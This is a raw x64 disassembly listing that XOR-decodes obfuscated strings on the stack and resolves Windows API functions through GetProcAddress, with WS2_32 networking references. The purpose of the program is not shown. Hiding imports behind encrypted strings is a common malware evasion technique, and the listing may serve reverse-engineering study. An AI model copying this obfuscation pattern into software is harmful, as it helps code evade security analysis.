cmp byte [rdx + 0x11], 0
je 0x140076b88
xor byte [rdx], 0x1d
xor byte [rdx + 1], 0xdb
xor byte [rdx + 2], 0xd9
xor byte [rdx + 3], 0xb5
xor byte [rdx + 4], 0xc9
xor byte [rdx + 5], 0xab
xor byte [rdx + 6], 0x8b
xor byte [rdx + 7], 0x93
xor byte [rdx + 8], 0x1d
xor byte [rdx + 9], 0xdb
xor byte [rdx + 0xa], 0xd9
xor byte [rdx + 0xb], 0xb5
xor byte [rdx + 0xc], 0xc9
xor byte [rdx + 0xd], 0xab
xor byte [rdx + 0xe], 0x8b
xor byte [rdx + 0xf], 0x93
xor byte [rdx + 0x10], 0x1d
mov byte [rdx + 0x11], 0
mov rcx, qword [0x140245880]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245a48], rax
mov ecx, 0x17f8
mov eax, dword [rcx + rbx]
mov edi, 0x1a58
test al, 1
jne 0x140076be2
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xb], 0x1e9
mov dword [rdi + rbx], 0xaa42145b
mov dword [rdi + rbx + 4], 0x56683057
mov word [rdi + rbx + 8], 0x1442
mov byte [rdi + rbx + 0xa], 0x5c
lea rcx, [0x1401c4a30]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xc], 0
je 0x140076c1f
xor byte [rdx], 9
xor byte [rdx + 1], 0x71
xor byte [rdx + 2], 0x25
xor byte [rdx + 3], 0xe9
xor byte [rdx + 4], 0x3b
xor byte [rdx + 5], 0x5f
xor byte [rdx + 6], 0x1b
xor byte [rdx + 7], 0x33
xor byte [rdx + 8], 9
xor byte [rdx + 9], 0x71
xor byte [rdx + 0xa], 0x25
xor byte [rdx + 0xb], 0xe9
mov byte [rdx + 0xc], 0
mov rcx, qword [0x140245880]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245a50], rax
mov ecx, 0x18a4
mov eax, dword [rcx + rbx]
mov edi, 0x1680
test al, 1
jne 0x140076c79
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xb], 0x1e5
mov dword [rdi + rbx], 0x8c6dc821
mov dword [rdi + rbx + 4], 0x202bb130
mov word [rdi + rbx + 8], 0xc019
mov byte [rdi + rbx + 0xa], WSAGetLastError
lea rcx, [0x1401c4a10]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xc], 0
je 0x140076cb6
xor byte [rdx], 0x77
xor byte [rdx + 1], 0xa9
xor byte [rdx + 2], 0x1f
xor byte [rdx + 3], 0xe5
xor byte [rdx + 4], 0x51
xor byte [rdx + 5], 0xdf
xor byte [rdx + 6], 0x5f
xor byte [rdx + 7], 0x69
xor byte [rdx + 8], 0x77
xor byte [rdx + 9], 0xa9
xor byte [rdx + 0xa], 0x1f
xor byte [rdx + 0xb], 0xe5
mov byte [rdx + 0xc], 0
mov rcx, qword [0x140245890]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245910], rax
mov ecx, 0x1be4
mov eax, dword [rcx + rbx]
mov edi, 0x1a00
test al, 1
jne 0x140076d0c
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 0xa], 0x13d0728
mov dword [rdi + rbx], 0x1c3bd623
mov dword [rdi + rbx + 4], 0xee17835c
mov word [rdi + rbx + 8], 0xd219
lea rcx, [0x1401c49f0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xd], 0
je 0x140076d4d
xor byte [rdx], 0x75
xor byte [rdx + 1], 0xb7
xor byte [rdx + 2], 0x49
xor byte [rdx + 3], 0x75
xor byte [rdx + 4], 0x3d
xor byte [rdx + 5], 0xed
xor byte [rdx + 6], 0x63
xor byte [rdx + 7], 0xad
xor byte [rdx + 8], 0x75
xor byte [rdx + 9], 0xb7
xor byte [rdx + 0xa], 0x49
xor byte [rdx + 0xb], 0x75
xor byte [rdx + 0xc], 0x3d
mov byte [rdx + 0xd], 0
mov rcx, qword [0x140245890]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245918], rax
movdqa xmm0, xmmword [0x14021ae60]
mov dword [rsp + 0x30], 0x237f0e00
mov dword [rsp + 0x34], 0x284cc37
mov word [rsp + 0x38], 0x1f09
mov ecx, 0x1a10
mov eax, dword [rcx + rbx]
mov edi, 0x1770
test al, 1
jne 0x140076dfc
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x1b], 1
lea rax, [rcx + 0x1a]
lea rdx, [rsp + 0x3a]
cmp rcx, rdx
ja 0x140076dd4
lea rdx, [rsp + 0x20]
cmp rax, rdx
jb 0x140076dd4
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x30]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rsp + 0x38]
mov word [rcx + 0x18], ax
mov byte [rcx + 0x1a], recv
jmp 0x140076def
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x30]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rsp + 0x38]
mov word [rcx + 0x18], ax
mov byte [rcx + 0x1a], recv
lea rcx, [0x1401c49c0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1b], 0
je 0x140076e75
xor byte [rdx], 0x67
xor byte [rdx + 1], 0x6b
xor byte [rdx + 2], 0xd
xor byte [rdx + 3], 0x73
xor byte [rdx + 4], 0x45
xor byte [rdx + 5], 0xa9
xor byte [rdx + 6], 0xf7
xor byte [rdx + 7], 0x67
xor byte [rdx + 8], 0x67
xor byte [rdx + 9], 0x6b
xor byte [rdx + 0xa], 0xd
xor byte [rdx + 0xb], 0x73
xor byte [rdx + 0xc], 0x45
xor byte [rdx + 0xd], 0xa9
xor byte [rdx + 0xe], 0xf7
xor byte [rdx + 0xf], 0x67
xor byte [rdx + 0x10], 0x67
xor byte [rdx + 0x11], 0x6b
xor byte [rdx + 0x12], 0xd
xor byte [rdx + 0x13], 0x73
xor byte [rdx + 0x14], 0x45
xor byte [rdx + 0x15], 0xa9
xor byte [rdx + 0x16], 0xf7
xor byte [rdx + 0x17], 0x67
xor byte [rdx + 0x18], 0x67
xor byte [rdx + 0x19], 0x6b
xor byte [rdx + 0x1a], 0xd
mov byte [rdx + 0x1b], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402458c8], rax
movdqa xmm0, xmmword [0x14021b390]
mov word [rbp + 0x18], 0x2d10
mov ecx, 0x16dc
mov eax, dword [rcx + rbx]
mov edi, 0x1ac0
test al, 1
jne 0x140076ef1
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x12], 1
lea rax, [rcx + 0x11]
lea rdx, [rbp + 0x19]
cmp rcx, rdx
ja 0x140076ed9
lea rdx, [rbp + 8]
cmp rax, rdx
jb 0x140076ed9
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x18]
mov word [rcx + 0x10], ax
jmp 0x140076ee4
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x18]
mov word [rcx + 0x10], ax
lea rcx, [0x1401c49a0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x12], 0
je 0x140076f46
xor byte [rdx], 0x63
xor byte [rdx + 1], 0x2d
xor byte [rdx + 2], 0x4b
xor byte [rdx + 3], 0xa5
xor byte [rdx + 4], 0x95
xor byte [rdx + 5], 0x2d
xor byte [rdx + 6], 0xbf
xor byte [rdx + 7], 0xe7
xor byte [rdx + 8], 0x63
xor byte [rdx + 9], 0x2d
xor byte [rdx + 0xa], 0x4b
xor byte [rdx + 0xb], 0xa5
xor byte [rdx + 0xc], 0x95
xor byte [rdx + 0xd], 0x2d
xor byte [rdx + 0xe], 0xbf
xor byte [rdx + 0xf], 0xe7
xor byte [rdx + 0x10], 0x63
xor byte [rdx + 0x11], 0x2d
mov byte [rdx + 0x12], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245908], rax
movdqa xmm0, xmmword [0x14021b040]
mov word [rbp + 0x30], 0x2fd1
mov ecx, 0x17cc
mov eax, dword [rcx + rbx]
mov edi, 0x1850
test al, 1
jne 0x140076fc2
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x12], 1
lea rax, [rcx + 0x11]
lea rdx, [rbp + 0x31]
cmp rcx, rdx
ja 0x140076faa
lea rdx, [rbp + 0x20]
cmp rax, rdx
jb 0x140076faa
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x30]
mov word [rcx + 0x10], ax
jmp 0x140076fb5
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x30]
mov word [rcx + 0x10], ax
lea rcx, [0x1401c4980]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x12], 0
je 0x140077017
xor byte [rdx], 0xa5
xor byte [rdx + 1], 0x2f
xor byte [rdx + 2], 0x81
xor byte [rdx + 3], 0x89
xor byte [rdx + 4], 0x3f
xor byte [rdx + 5], 0xfd
xor byte [rdx + 6], 0xed
xor byte [rdx + 7], 0x49
xor byte [rdx + 8], 0xa5
xor byte [rdx + 9], 0x2f
xor byte [rdx + 0xa], 0x81
xor byte [rdx + 0xb], 0x89
xor byte [rdx + 0xc], 0x3f
xor byte [rdx + 0xd], 0xfd
xor byte [rdx + 0xe], 0xed
xor byte [rdx + 0xf], 0x49
xor byte [rdx + 0x10], 0xa5
xor byte [rdx + 0x11], 0x2f
mov byte [rdx + 0x12], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402458d0], rax
mov ecx, 0x1b24
mov eax, dword [rcx + rbx]
mov edi, 0x1bd0
test al, 1
jne 0x14007706e
or eax, 1
mov dword [rcx + rbx], eax
mov dword [rdi + rbx + 0xc], 0x19f3c54
mov dword [rdi + rbx], 0xd5b1a4c1
mov dword [rdi + rbx + 4], 0xb6ed1477
mov dword [rdi + rbx + 8], 0xddb68bf3
lea rcx, [0x1401c4950]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xf], 0
je 0x1400770b7
xor byte [rdx], 0x87
xor byte [rdx + 1], 0xcd
xor byte [rdx + 2], 0xdf
xor byte [rdx + 3], 0xb1
xor byte [rdx + 4], 0x31
xor byte [rdx + 5], 0x7d
xor byte [rdx + 6], 0x9f
xor byte [rdx + 7], 0xc5
xor byte [rdx + 8], 0x87
xor byte [rdx + 9], 0xcd
xor byte [rdx + 0xa], 0xdf
xor byte [rdx + 0xb], 0xb1
xor byte [rdx + 0xc], 0x31
xor byte [rdx + 0xd], 0x7d
xor byte [rdx + 0xe], 0x9f
mov byte [rdx + 0xf], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402458d8], rax
mov ecx, 0x1798
mov eax, dword [rcx + rbx]
mov edi, 0x17e8
test al, 1
jne 0x140077112
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xd], 0x1d9
mov dword [rdi + rbx], 0x76238440
mov dword [rdi + rbx + 4], 0x76cbaa54
mov dword [rdi + rbx + 8], 0x4339a86a
mov byte [rdi + rbx + 0xc], 0x42
lea rcx, [0x1401c4930]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xe], 0
je 0x140077157
xor byte [rdx], 7
xor byte [rdx + 1], 0xe1
xor byte [rdx + 2], 0x57
xor byte [rdx + 3], 0x25
xor byte [rdx + 4], 0x2d
xor byte [rdx + 5], 0xd9
xor byte [rdx + 6], 0xbf
xor byte [rdx + 7], 0x13
xor byte [rdx + 8], 7
xor byte [rdx + 9], 0xe1
xor byte [rdx + 0xa], 0x57
xor byte [rdx + 0xb], 0x25
xor byte [rdx + 0xc], 0x2d
xor byte [rdx + 0xd], 0xd9
mov byte [rdx + 0xe], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402458e0], rax
movdqa xmm0, xmmword [0x14021b2f0]
mov dword [rbp - 0x30], 0x4b465e80
mov ecx, 0x1b28
mov eax, dword [rcx + rbx]
mov edi, 0x1690
test al, 1
jne 0x1400771d8
or eax, 1
mov dword [rcx + rbx], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x15], 1
lea rax, [rcx + 0x14]
lea rdx, [rbp - 0x2c]
cmp rcx, rdx
ja 0x1400771be
lea rdx, [rbp - 0x40]
cmp rax, rdx
jb 0x1400771be
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x30]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], reloc.WS2_32.dll_send
jmp 0x1400771cb
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x30]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], reloc.WS2_32.dll_send
lea rcx, [0x1401c4910]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x15], 0
je 0x140077239
xor byte [rdx], 0xf5
xor byte [rdx + 1], 0x2d
xor byte [rdx + 2], 3
xor byte [rdx + 3], 0x33
xor byte [rdx + 4], 0x13
xor byte [rdx + 5], 0x8f
xor byte [rdx + 6], 0x57
xor byte [rdx + 7], 0xf5
xor byte [rdx + 8], 0xf5
xor byte [rdx + 9], 0x2d
xor byte [rdx + 0xa], 3
xor byte [rdx + 0xb], 0x33
xor byte [rdx + 0xc], 0x13
xor byte [rdx + 0xd], 0x8f
xor byte [rdx + 0xe], 0x57
xor byte [rdx + 0xf], 0xf5
xor byte [rdx + 0x10], 0xf5
xor byte [rdx + 0x11], 0x2d
xor byte [rdx + 0x12], 3
xor byte [rdx + 0x13], 0x33
xor byte [rdx + 0x14], 0x13
mov byte [rdx + 0x15], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402458e8], rax
mov ecx, 0x18a8
mov eax, dword [rcx + rbx]
mov edi, 0x19d8
test al, 1
jne 0x140077293
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xb], 0x1eb
mov dword [rdi + rbx], 0x8a3ca990
mov dword [rdi + rbx + 4], 0x6e2f929f
mov word [rdi + rbx + 8], 0xbebf
mov byte [rdi + rbx + 0xa], 0x18
lea rcx, [0x1401c48f0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xc], 0
je 0x1400772d0
xor byte [rdx], 0xd3
xor byte [rdx + 1], 0xdb
xor byte [rdx + 2], 0x59
xor byte [rdx + 3], 0xeb
xor byte [rdx + 4], 0xeb
xor byte [rdx + 5], 0xf7
xor byte [rdx + 6], 0x69
xor byte [rdx + 7], 7
xor byte [rdx + 8], 0xd3
xor byte [rdx + 9], 0xdb
xor byte [rdx + 0xa], 0x59
xor byte [rdx + 0xb], 0xeb
mov byte [rdx + 0xc], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402458f0], rax
movdqa xmm0, xmmword [0x14021b2e0]
mov ecx, 0x1bc0
mov eax, dword [rcx + rbx]
mov edi, 0x1800
test al, 1
jne 0x14007733c
or eax, 1
mov dword [rcx + rbx], eax
lea rax, [rdi + rbx]
mov byte [rax + 0x10], 1
lea rcx, [rax + 0xf]
lea rdx, [rbp + 0x9f]
cmp rax, rdx
ja 0x14007732c
lea rdx, [rbp + 0x90]
cmp rcx, rdx
jb 0x14007732c
movups xmmword [rax], xmm0
jmp 0x14007732f
movups xmmword [rax], xmm0
lea rcx, [0x1401c48c0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x10], 0
je 0x140077389
xor byte [rdx], 5
xor byte [rdx + 1], 0x35
xor byte [rdx + 2], 0xfd
xor byte [rdx + 3], 0xa9
xor byte [rdx + 4], 0xcf
xor byte [rdx + 5], 0xc1
xor byte [rdx + 6], 0x65
xor byte [rdx + 7], 0x81
xor byte [rdx + 8], 5
xor byte [rdx + 9], 0x35
xor byte [rdx + 0xa], 0xfd
xor byte [rdx + 0xb], 0xa9
xor byte [rdx + 0xc], 0xcf
xor byte [rdx + 0xd], 0xc1
xor byte [rdx + 0xe], 0x65
xor byte [rdx + 0xf], 0x81
mov byte [rdx + 0x10], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402458f8], rax
mov ecx, 0x1818
mov eax, dword [rcx + rbx]
mov edi, 0x18b0
test al, 1
jne 0x1400773e3
or eax, 1
mov dword [rcx + rbx], eax
mov word [rdi + rbx + 0xb], 0x1bf
mov dword [rdi + rbx], 0xcc947bf6
mov dword [rdi + rbx + 4], 0x5beb3b4
mov word [rdi + rbx + 8], 0x7bd1
mov byte [rdi + rbx + 0xa], 0x9e
lea rcx, [0x1401c48a0]
call fcn.14018ede0
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0xc], 0
je 0x140077420
xor byte [rdx], 0xb5
xor byte [rdx + 1], 0x17
xor byte [rdx + 2], 0xfb
xor byte [rdx + 3], 0xbf
xor byte [rdx + 4], 0xd1
xor byte [rdx + 5], 0xfb
xor byte [rdx + 6], 0xdf
xor byte [rdx + 7], 0x6b
xor byte [rdx + 8], 0xb5
xor byte [rdx + 9], 0x17
xor byte [rdx + 0xa], 0xfb
xor byte [rdx + 0xb], 0xbf
mov byte [rdx + 0xc], 0
mov rcx, qword [0x140245858]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140245900], rax
movdqa xmm0, xmmword [0x14021b600]
mov dword [rbp - 0x80], 0x6380b5a0
mov dword [rbp - 0x7c], 0xa7eabd34
mov ecx, 0x1a90
mov eax, dword [rcx + rbx]
mov edi, 0x1a98
test al, 1
jne 0x1400774b1
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call fcn.14019e398
int3